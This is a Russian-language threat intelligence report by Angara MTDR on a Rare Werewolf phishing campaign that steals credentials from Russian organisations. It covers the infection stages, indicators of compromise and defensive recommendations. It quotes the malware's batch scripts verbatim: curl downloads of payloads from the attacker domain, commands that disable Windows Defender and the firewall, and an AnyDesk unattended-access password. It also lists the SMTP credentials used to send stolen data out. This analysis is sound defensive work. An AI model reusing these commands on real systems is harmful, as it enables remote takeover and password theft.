Специалисты Angara MTDR зафиксировали активизацию деятельности группировки Rare Werewolf

Новая фишинговая кампания нацелена на российские организации, основной целью злоумышленников является кража пользовательских учетных данных.

Специалисты Angara MTDR зафиксировали новую фишинговую рассылку от группировки Rare Werewolf (также отслеживаемые как Librarian Ghouls, Librarian Likho, Rezet), нацеленную на российские организации. Основной целью злоумышленников является кража пользовательских учетных данных.

Группа Rare Werewolf (ранее известна как Rare Wolf) — хакерская группировка, которая проводит кибератаки на предприятия в России, Беларуси и Казахстане. Злоумышленники известны ИБ специалистам как минимум с 2019 года. Очередная хакерская кампания группировки началась в конце 2024 года и продолжается по настоящее время.

Как происходит заражение

Фишинговая атака начинается с рассылки писем сотрудникам компаний. Тема, содержание письма, а также приложенный зашифрованный архив замаскированы под правки к техническому заданию.

Вредоносная нагрузка из архива представляет собой исполняемый файл `Техническое задание №XXXX Исх. N_YYYY.scr`, стилизованный под PDF-документ. Файл создан с помощью Smart Install Maker и является самораспаковывающимся установщиком.

При открытии файла пользователем происходит компрометация хоста: посредством командных файлов, с сервера C2 загружается несколько вредоносных файлов, в том числе модифицированная консольная версия архиватора WinRAR, утилита Blat для отправки украденных данных по электронной почте, AnyDesk для удаленного доступа. В процессе его установки задается пароль — это гарантирует злоумышленникам постоянный неконтролируемый доступ. После чего происходит сбор паролей и других данных, которые отправляются на контролируемый злоумышленниками удаленный ресурс `qinformer.ru`. Все файлы удаляются сразу после их использования.

Подробности

Вредонос представляет собой исполняемый файл, мимикрирующий под документ формата PDF. При его открытии осуществляется установка RMM AnyDesk, загрузка дополнительных утилит, а последствии - сбор паролей и отправка собранных данных на удаленный ресурс qinformer.ru.

Выявленные индикаторы компрометации

IOC	Описание
qcinformer.ru	Удаленный ресурс для отправки результатов работы и загрузки дополнительных модулей
[HKCU]\Software\Microsoft\Windows\CurrentVersion\Run:Userinite	Запись в реестре для автозагрузки модулей (не работает)
[HKCU]\Software\Microsoft\Windows\CurrentVersion\Run:Trays.lnk	Запись в реестре для автозагрузки модулей (не работает)
%APPDATA%\Windows	Директория для хранения исполняемых модулей ВПО
29086d9247fdf40452563c11b3dca394	driver.exe - модифицированная консольная утилита WinRAR
bca445d25aa63060aab797da0eca40ed	bat.bat - скрипт сбора и отправки информации
45376cf85f3aa94963d40aaa46729433	pas.rar - архив с утилитами и скриптами

Рассылку данного ВПО можно атрибутировать к хакерской группировке Rare Werewolf (Librarian Ghouls).

Алгоритм работы

1 этап

Файл «Техническое задание №119843-28 Исх. N_3435.scr» (md5 98f2da7d108ae1e0d781b80cffcdd6b8) создан при помощи ПО Smart Installer Maker, при запуске осуществляет извлечение следующих файлов в директорию %APPDATA%\Windows

- any.bat
- pdf6.pdf
- find.cmd

Создает две записи в автозагрузку через реестр (Software\Microsoft\Windows\CurrentVersion\Run)

- Userinite - %APPDATA%\Windows\Run.exe;
- Driver Update - %APPDATA%\Windows\Trays\Trays.lnk

Стоит отметить, что, несмотря на записи в реестре, файлы на этом этапе не создаются. Данный факт может означать ошибку при создании вредоносной нагрузки, когда записи остались от предыдущих фишинговых рассылок.

После извлечения файлов:

1. Запускает скрипт %APPDATA%\Windows\any.bat.
2. Запускает %APPDATA%\Windows\find.cmd.
3. Открывает файл %APPDATA%\WIndows\pdf6.pdf - в качестве документы прикрытия.

2 этап

Осуществляется загрузка дополнительных утилит с удаленного ресурса и их запуск.

Утилита any.bat

Содержимое

```
echo %time%
echo>num.doc 6
ping -n 120 127.0.0.1 >nul
echo QWERTY1234566 | AnyDesk.exe --set-password _unattended_access
```

Файл предназначен для запуска с задержкой (после исполнения ping) AnyDesk.exe с паролем QWERTY1234566.

Утилита find.cmd

Содержимое

```
cd C:\Users\user\AppData\Roaming\Windows\
curl.exe -o C:\Users\user\AppData\Roaming\Windows\bk.rar http://qinformer.ru/bk.jpg
curl.exe -o C:\Users\user\AppData\Roaming\Windows\driver.exe http://qinformer.ru/driver.jpg
C:\Users\user\AppData\Roaming\Windows\driver.exe x -r -ep2 -hplimpid2903392
C:\Users\user\AppData\Roaming\Windows\bk.rar C:\Users\user\AppData\Roaming\Windows\ /y
curl.exe -o C:\Users\user\AppData\Roaming\Windows\pas.rar http://qinformer.ru/pas.jpg
start C:\Users\user\AppData\Roaming\Windows\Trays\Trays.lnk
C:\Users\user\AppData\Roaming\Windows\driver.exe x -r -ep2 -hplimpid2903392
C:\Users\user\AppData\Roaming\Windows\pas.rar blat.exe C:\Users\user\AppData\Roaming\Windows\ /y
C:\Users\user\AppData\Roaming\Windows\driver.exe x -r -ep2 -hplimpid2903392
C:\Users\user\AppData\Roaming\Windows\pas.rar AnyDesk.exe C:\Users\user\AppData\Roaming\Windows\
/y
C:\Users\user\AppData\Roaming\Windows\driver.exe x -r -ep2 -hplimpid2903392
C:\Users\user\AppData\Roaming\Windows\pas.rar bat.bat C:\Users\user\AppData\Roaming\Windows\ /y
del /q C:\Users\user\AppData\Roaming\Windows\curl.exe
netsh advfirewall set allprofiles state off
sc stop WinDefend
net stop MpsSvc
sc stop MpsSvc
sc delete MpsSvc

AnyDesk.exe --install C:\Users\user\AppData\Roaming\Windows\AnyDesk
```

Осуществляет следующие шаги:

1. Загрузка с удаленного ресурса qinformer.ru модифицированной консольной версии архиватора Rar (`driver.exe).
2. Загрузка архива bk.rar и извлечение файлов (на момент исследования - недоступен).
3. Загрузка зашифрованного архива pas.rar, содержащего скрипты для дальнейшей работы, утилиты для извлечения паролей и отправки на удаленный сервер по протоколу SMTP.
4. Распаковка и запуск утилит сбора информации о системе.
5. Остановка и устранение средств защиты (Defender и сетевой экран).
6. Запуск C:\Users\user\AppData\Roaming\Windows\Trays\Trays.lnk (отсутствует).

7. Установка AnyDesk в %APPDATA%\Windows\AnyDesk.

Пароль для всех зашифрованных архивов limpid2903392. Архив bk.rar недоступен на момент исследования, pas.rar - содержит скрипты для запуска утилит сбора информации с системы, сами утилиты сбора и RMM AnyDesk. После окончания работы ВПО вся собранная информация и утилиты удаляются с СВТ.

3 этап

Осуществляется запуск утилит, отправка собранной информации и удаление следов функционирования на СВТ.

Зашифрованный архив содержит следующие файлы:

- AnyDesk.exe (md5 803278de3514dbf83a5b6f39c99f4000) - RMM AnyDesk;
- bat.bat (md5 bca445d25aa63060aab797da0eca40ed) - исполняемый скрипт для запуска остальных утилит, отправки результатов работы и удаления следов функционирования;
- blat.exe (md5 34c6dfa28c293b5f21a77f74d94de16b) - консольная утилита для отправки информации по протоколу SMTP
- dc.exe (md5 139464919440e93e49c80cc890b90585) - утилита Defender Control для управления Windows Defender.
- mlpv.exe (md5 0ceb38f7c3d464a8268f67559755b216) - утилита Email Password-Recovery для восстановления паролей почтовых клиентов.
- wbpv.exe (md5 0fcd0296caead9343fcdad3584f64a18) - утилита Web Browser Password Viewer для извлечения паролей из веб-браузеров.

Реквизиты для отправки по почте:

- отправитель out @ qinformer.ru
- SMTP mail.qinformer.ru
- пароль Pgwr5Y932dAX
- получатель in @ qinformer.ru

После запуска bat.bat осуществляются следующие действия:

1. Изменение текущих настроек электропотребления - отключение сна и гибернации.
2. Отправка настроек AnyDesk (%PROGRAMDATA%\AnyDesk\system.conf) по SMTP.

3. Сбор через Email Password-Recovery и отправка паролей почтовых клиентов (%APPDATA%\Windows\email.txt).
4. Сбор через Email Password-Recovery и отправка паролей из браузеров (%APPDATA%\Windows\password.txt).
5. Остановка Windows Defender и сетевого экрана.
6. Удаление результатов работы, утилит и исполняемых файлов.

Стоит отметить, что среди удаляемых файлов есть файл %APPDATA%\Windows\tdata.rar, наличие которого свидетельствует о возможно сборе информации из десктопной версии Telegram.

Рекомендации от Angara MTDR

1. Просканировать все узлы сети на предмет наличия индикаторов компрометации, в том числе указанных ключей реестра. Несмотря на то, что файлы удаляются после своего использования, оставшиеся следы закреплений могут выступать в качестве маркера успешной атаки. Все доменные имена и IP-адреса также должны быть заблокированы.
2. Обеспечить максимальную зону покрытия антивирусным программным обеспечением, а также регулярно проверять наличие и проводить установку обновлений как самих клиентов, так и баз сигнатур.
3. Проверить почтовый сервер на наличие аналогичных писем путем поиска по заданной теме, отправителю или вложению. При обнаружении таких писем их необходимо удалить, чтобы исключить открытие вредоносного содержимого другими пользователями.
4. Проводить регулярные тренинги сотрудников, направленные на повышения осведомленности сотрудников в вопросах информационной безопасности, в том числе выявлению признаков фишинга.
5. Не хранить учетные данные в браузере (отключить сохранение паролей можно посредством соответствующей GPO) или использовать криптостойкие мастер-пароли для уменьшения вероятности их компрометации.
6. Удостовериться, что в мессенджере Telegram установлен как облачный, так и локальный пароль на используемом устройстве.